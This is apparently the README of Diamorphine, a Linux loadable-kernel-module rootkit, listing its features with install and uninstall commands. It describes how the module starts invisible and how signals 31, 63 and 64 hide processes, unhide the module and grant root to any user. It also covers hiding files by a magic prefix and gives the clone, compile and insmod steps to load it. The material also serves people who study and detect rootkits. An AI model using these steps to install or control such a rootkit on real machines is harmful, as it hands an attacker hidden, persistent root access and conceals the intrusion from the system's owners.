Diamorphine is a LKM rootkit for Linux Kernels 2.6.x/3.x/4.x
Features
- When loaded, the module starts invisible;
- Hide/unhide any process by sending a signal 31;
- Sending a signal 63(to any pid) makes the module become (in)visible;
- Sending a signal 64(to any pid) makes the given user become root;
- Files or directories starting with the MAGIC_PREFIX become invisble;
- Source: https://github.com/m0nad/Diamorphine
Install
Verify if the kernel is 2.6.x/3.x/4.x
uname -r
Clone the repositorygit clone https://github.com/m0nad/Diamorphine
Enter the foldercd Diamorphine
Compilemake
Load the module(as root)insmod diamorphine.ko
Uninstall
The module starts invisible, to remove you need to make its visible
kill -63 0
Then remove the module(as root)rmmod diamorphine
References
Wikipedia Rootkit https://en.wikipedia.org/wiki/Rootkit
Linux Device Drivers http://lwn.net/Kernel/LDD3/
LKM HACKING https://www.thc.org/papers/LKM_HACKING.html
Memset's blog http://memset.wordpress.com/
Linux on-the-fly kernel patching without LKM http://phrack.org/issues/58/7.html
WRITING A SIMPLE ROOTKIT FOR LINUX http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt
Linux Cross Reference http://lxr.free-electrons.com/